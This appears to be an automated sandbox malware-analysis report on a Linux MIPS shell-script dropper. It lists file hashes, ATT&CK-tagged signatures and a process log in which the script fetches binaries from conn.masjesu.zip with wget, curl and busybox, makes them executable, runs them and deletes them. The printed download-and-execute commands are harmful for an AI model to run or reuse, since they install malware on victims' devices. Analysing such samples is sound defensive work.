4dd53d92e06fcea220f5b50d211376b0613ddac7a1e45e7b4cee9aa1fcca64b3

Analysis

max time kernel
75s
max time network
77s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
02/11/2024, 11:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
4dd53d92e06fcea220f5b50d211376b0613ddac7a1e45e7b4cee9aa1fcca64b3.sh
Size 10KB
Sample241102-m32lfssjay
SHA256 4dd53d92e06fcea220f5b50d211376b0613ddac7a1e45e7b4cee9aa1fcca64b3
MD5 08f97bfa89c4595b9341e1badc203a1f
SHA1 657966ff8f84e6740ec73c866fa7f4b4de36c12d
SHA512 f85495f56fcfd3d77a04043841616027128f716e38a7fa94e5f0c1ca5f7aa5b37592f3526cfe7fb83a5352b62dd79d963dd04e8348840c80bec49973d51459ee
SSDEEP 192:0o3Hi5tYV2SXY4/EVcZe0IUZqsPmIUZqsP3oO2SXY4j3Hi5tR:R9EVoe0
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
919	chmod
818	chmod
826	chmod
904	chmod
874	chmod
786	chmod
962	chmod
854	chmod
926	chmod
984	chmod
1007	chmod
933	chmod
947	chmod
1000	chmod
881	chmod
737	chmod
744	chmod
955	chmod
992	chmod
761	chmod
889	chmod
896	chmod
912	chmod
1014	chmod
811	chmod
940	chmod
969	chmod
976	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
766	wget
877	wget
918	busybox
972	wget
981	curl
756	busybox
781	busybox
821	wget
944	curl
952	curl
873	busybox
903	busybox
916	curl
943	wget
965	wget
988	wget
878	curl
954	busybox
964	rm
983	busybox
997	curl
1004	curl
734	busybox
745	1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
822	curl
856	4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
901	curl
913	Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
928	rm
810	busybox
851	busybox
886	curl
900	wget
930	curl
942	rm
1010	wget
980	wget
815	curl
869	curl
914	rm
925	busybox
958	wget
963	4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
973	curl
1011	curl
1013	busybox
831	wget
922	wget
936	wget
946	busybox
959	curl
814	wget
885	wget
895	busybox
996	wget
941	1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
727	curl
773	curl
803	curl
911	busybox
923	curl
937	curl
939	busybox
968	busybox

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS	curl
File opened for modification	/tmp/JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE	curl
File opened for modification	/tmp/xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO	curl
File opened for modification	/tmp/fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N	curl
File opened for modification	/tmp/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb	curl
File opened for modification	/tmp/1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q	curl
File opened for modification	/tmp/OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD	curl
File opened for modification	/tmp/tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN	curl
File opened for modification	/tmp/JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE	curl
File opened for modification	/tmp/xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO	curl
File opened for modification	/tmp/tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN	curl
File opened for modification	/tmp/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb	curl
File opened for modification	/tmp/X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13	curl
File opened for modification	/tmp/Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT	curl
File opened for modification	/tmp/4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji	curl
File opened for modification	/tmp/dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN	curl
File opened for modification	/tmp/OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD	curl
File opened for modification	/tmp/fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N	curl
File opened for modification	/tmp/4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji	curl
File opened for modification	/tmp/MADCS9BPscRn32W6pQUwQP59xODbic7liT	curl
File opened for modification	/tmp/1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q	curl
File opened for modification	/tmp/yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS	curl
File opened for modification	/tmp/X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13	curl
File opened for modification	/tmp/OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f	curl
File opened for modification	/tmp/Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT	curl
File opened for modification	/tmp/MADCS9BPscRn32W6pQUwQP59xODbic7liT	curl
File opened for modification	/tmp/OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f	curl
File opened for modification	/tmp/dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN	curl

/tmp/4dd53d92e06fcea220f5b50d211376b0613ddac7a1e45e7b4cee9aa1fcca64b3.sh
/tmp/4dd53d92e06fcea220f5b50d211376b0613ddac7a1e45e7b4cee9aa1fcca64b3.sh
1⤵
PID:705
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:708
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  PID:714
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:727
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  - System Network Configuration Discovery
  PID:734
- /bin/chmod
  chmod 777 UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /tmp/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  ./UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  - Executes dropped EXE
  PID:738
- /bin/rm
  rm UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  PID:739
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  2⤵
  PID:740
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:741
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  2⤵
  PID:743
- /bin/chmod
  chmod 777 1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  ./1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:745
- /bin/rm
  rm 1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  2⤵
  PID:746
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  2⤵
  PID:747
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:748
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  2⤵
  - System Network Configuration Discovery
  PID:756
- /bin/chmod
  chmod 777 X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  2⤵
  - File and Directory Permissions Modification
  PID:761
- /tmp/X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  ./X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  2⤵
  - Executes dropped EXE
  PID:762
- /bin/rm
  rm X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  2⤵
  PID:765
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  2⤵
  - System Network Configuration Discovery
  PID:766
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:773
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  2⤵
  - System Network Configuration Discovery
  PID:781
- /bin/chmod
  chmod 777 JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  2⤵
  - File and Directory Permissions Modification
  PID:786
- /tmp/JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  ./JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  2⤵
  - Executes dropped EXE
  PID:787
- /bin/rm
  rm JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  2⤵
  PID:790
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  2⤵
  PID:792
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:803
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  2⤵
  - System Network Configuration Discovery
  PID:810
- /bin/chmod
  chmod 777 xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  ./xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  2⤵
  - Executes dropped EXE
  PID:812
- /bin/rm
  rm xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  2⤵
  PID:813
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  2⤵
  - System Network Configuration Discovery
  PID:814
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:815
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  2⤵
  PID:817
- /bin/chmod
  chmod 777 OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  ./OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  2⤵
  - Executes dropped EXE
  PID:819
- /bin/rm
  rm OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  2⤵
  PID:820
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  2⤵
  - System Network Configuration Discovery
  PID:821
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:822
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  2⤵
  PID:824
- /bin/chmod
  chmod 777 fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  ./fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  2⤵
  - Executes dropped EXE
  PID:828
- /bin/rm
  rm fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  2⤵
  PID:830
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  2⤵
  - System Network Configuration Discovery
  PID:831
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:840
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  2⤵
  - System Network Configuration Discovery
  PID:851
- /bin/chmod
  chmod 777 4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  ./4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:856
- /bin/rm
  rm 4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  2⤵
  PID:858
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  2⤵
  PID:860
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:869
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  2⤵
  - System Network Configuration Discovery
  PID:873
- /bin/chmod
  chmod 777 dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  ./dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  2⤵
  - Executes dropped EXE
  PID:875
- /bin/rm
  rm dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  2⤵
  PID:876
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  2⤵
  - System Network Configuration Discovery
  PID:877
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:878
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  2⤵
  PID:880
- /bin/chmod
  chmod 777 OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  2⤵
  - File and Directory Permissions Modification
  PID:881
- /tmp/OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  ./OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  2⤵
  - Executes dropped EXE
  PID:882
- /bin/rm
  rm OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  2⤵
  PID:884
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  2⤵
  - System Network Configuration Discovery
  PID:885
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:886
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  2⤵
  PID:888
- /bin/chmod
  chmod 777 yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  ./yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  2⤵
  - Executes dropped EXE
  PID:890
- /bin/rm
  rm yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  2⤵
  PID:891
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MADCS9BPscRn32W6pQUwQP59xODbic7liT
  2⤵
  PID:892
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MADCS9BPscRn32W6pQUwQP59xODbic7liT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MADCS9BPscRn32W6pQUwQP59xODbic7liT
  2⤵
  - System Network Configuration Discovery
  PID:895
- /bin/chmod
  chmod 777 MADCS9BPscRn32W6pQUwQP59xODbic7liT
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/MADCS9BPscRn32W6pQUwQP59xODbic7liT
  ./MADCS9BPscRn32W6pQUwQP59xODbic7liT
  2⤵
  - Executes dropped EXE
  PID:897
- /bin/rm
  rm MADCS9BPscRn32W6pQUwQP59xODbic7liT
  2⤵
  PID:899
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  2⤵
  - System Network Configuration Discovery
  PID:900
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:901
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  2⤵
  - System Network Configuration Discovery
  PID:903
- /bin/chmod
  chmod 777 tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  2⤵
  - File and Directory Permissions Modification
  PID:904
- /tmp/tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  ./tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  2⤵
  - Executes dropped EXE
  PID:905
- /bin/rm
  rm tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  2⤵
  PID:907
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  2⤵
  PID:908
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:909
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  2⤵
  - System Network Configuration Discovery
  PID:911
- /bin/chmod
  chmod 777 Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /tmp/Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  ./Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:913
- /bin/rm
  rm Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  2⤵
  - System Network Configuration Discovery
  PID:914
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  2⤵
  PID:915
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:916
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  2⤵
  - System Network Configuration Discovery
  PID:918
- /bin/chmod
  chmod 777 tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /tmp/tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  ./tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  2⤵
  - Executes dropped EXE
  PID:920
- /bin/rm
  rm tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  2⤵
  PID:921
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  2⤵
  - System Network Configuration Discovery
  PID:922
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:923
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  2⤵
  - System Network Configuration Discovery
  PID:925
- /bin/chmod
  chmod 777 Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  ./Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  2⤵
  - Executes dropped EXE
  PID:927
- /bin/rm
  rm Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  2⤵
  - System Network Configuration Discovery
  PID:928
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MADCS9BPscRn32W6pQUwQP59xODbic7liT
  2⤵
  PID:929
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MADCS9BPscRn32W6pQUwQP59xODbic7liT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:930
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MADCS9BPscRn32W6pQUwQP59xODbic7liT
  2⤵
  PID:932
- /bin/chmod
  chmod 777 MADCS9BPscRn32W6pQUwQP59xODbic7liT
  2⤵
  - File and Directory Permissions Modification
  PID:933
- /tmp/MADCS9BPscRn32W6pQUwQP59xODbic7liT
  ./MADCS9BPscRn32W6pQUwQP59xODbic7liT
  2⤵
  - Executes dropped EXE
  PID:934
- /bin/rm
  rm MADCS9BPscRn32W6pQUwQP59xODbic7liT
  2⤵
  PID:935
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  2⤵
  - System Network Configuration Discovery
  PID:936
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:937
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  2⤵
  - System Network Configuration Discovery
  PID:939
- /bin/chmod
  chmod 777 1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  2⤵
  - File and Directory Permissions Modification
  PID:940
- /tmp/1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  ./1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:941
- /bin/rm
  rm 1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  2⤵
  - System Network Configuration Discovery
  PID:942
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  - System Network Configuration Discovery
  PID:943
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:944
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  - System Network Configuration Discovery
  PID:946
- /bin/chmod
  chmod 777 UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  - File and Directory Permissions Modification
  PID:947
- /tmp/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  ./UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  - Executes dropped EXE
  PID:948
- /bin/rm
  rm UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  PID:950
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  2⤵
  PID:951
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:952
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  2⤵
  - System Network Configuration Discovery
  PID:954
- /bin/chmod
  chmod 777 X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  2⤵
  - File and Directory Permissions Modification
  PID:955
- /tmp/X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  ./X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  2⤵
  - Executes dropped EXE
  PID:956
- /bin/rm
  rm X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  2⤵
  PID:957
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  2⤵
  - System Network Configuration Discovery
  PID:958
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:959
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  2⤵
  PID:961
- /bin/chmod
  chmod 777 4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  2⤵
  - File and Directory Permissions Modification
  PID:962
- /tmp/4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  ./4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:963
- /bin/rm
  rm 4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  2⤵
  - System Network Configuration Discovery
  PID:964
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  2⤵
  - System Network Configuration Discovery
  PID:965
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:966
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  2⤵
  - System Network Configuration Discovery
  PID:968
- /bin/chmod
  chmod 777 dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  2⤵
  - File and Directory Permissions Modification
  PID:969
